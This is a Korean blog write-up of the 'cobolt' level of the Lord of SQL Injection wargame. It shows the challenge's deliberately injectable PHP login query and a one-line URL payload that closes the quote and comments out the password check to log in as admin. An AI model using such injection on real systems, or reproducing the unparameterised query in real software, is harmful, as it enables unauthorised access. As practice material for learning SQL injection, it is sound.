문제
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
|
cs |
풀이
정규 표현식으로 필터링을 해주고, 걸리면 No hack을 출력한다.
select id from prob_cobalt where id ='' and pw=md5('')라는 쿼리문을 확인해줄 수 있다.
id가 admin이면 문제를 풀 수 있으니, 굳이 pw를 알지 않아도 조건문을 조금 변경해주면 문제를 풀 수 있다.
?id=admin&pw=%27)or%20id=%27admin%27--%20을 파라미터로 넘겨주면,
select id from prob_cobalt where id=admin&pw=md5('')or id='admin'--라는 쿼리문이 되고, %20은 url 정규화 과정에서 공백 문자로 바뀌고, %27도 '로 바뀌게 되어서 문제를 풀 수 있다.
뒤에 %20을 통해 --뒤에 공백을 하나 추가해줘서 주석 처리를 해줬다.
'WARGAME > Lord of sql injection' 카테고리의 다른 글
LORD OF SQL INJECTION DARKELF 풀이 (0) | 2022.05.13 |
---|---|
LORD OF SQL INJECTION WOLF MAN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION GOBLIN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION GREMLIN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION ORC 풀이 (0) | 2022.05.12 |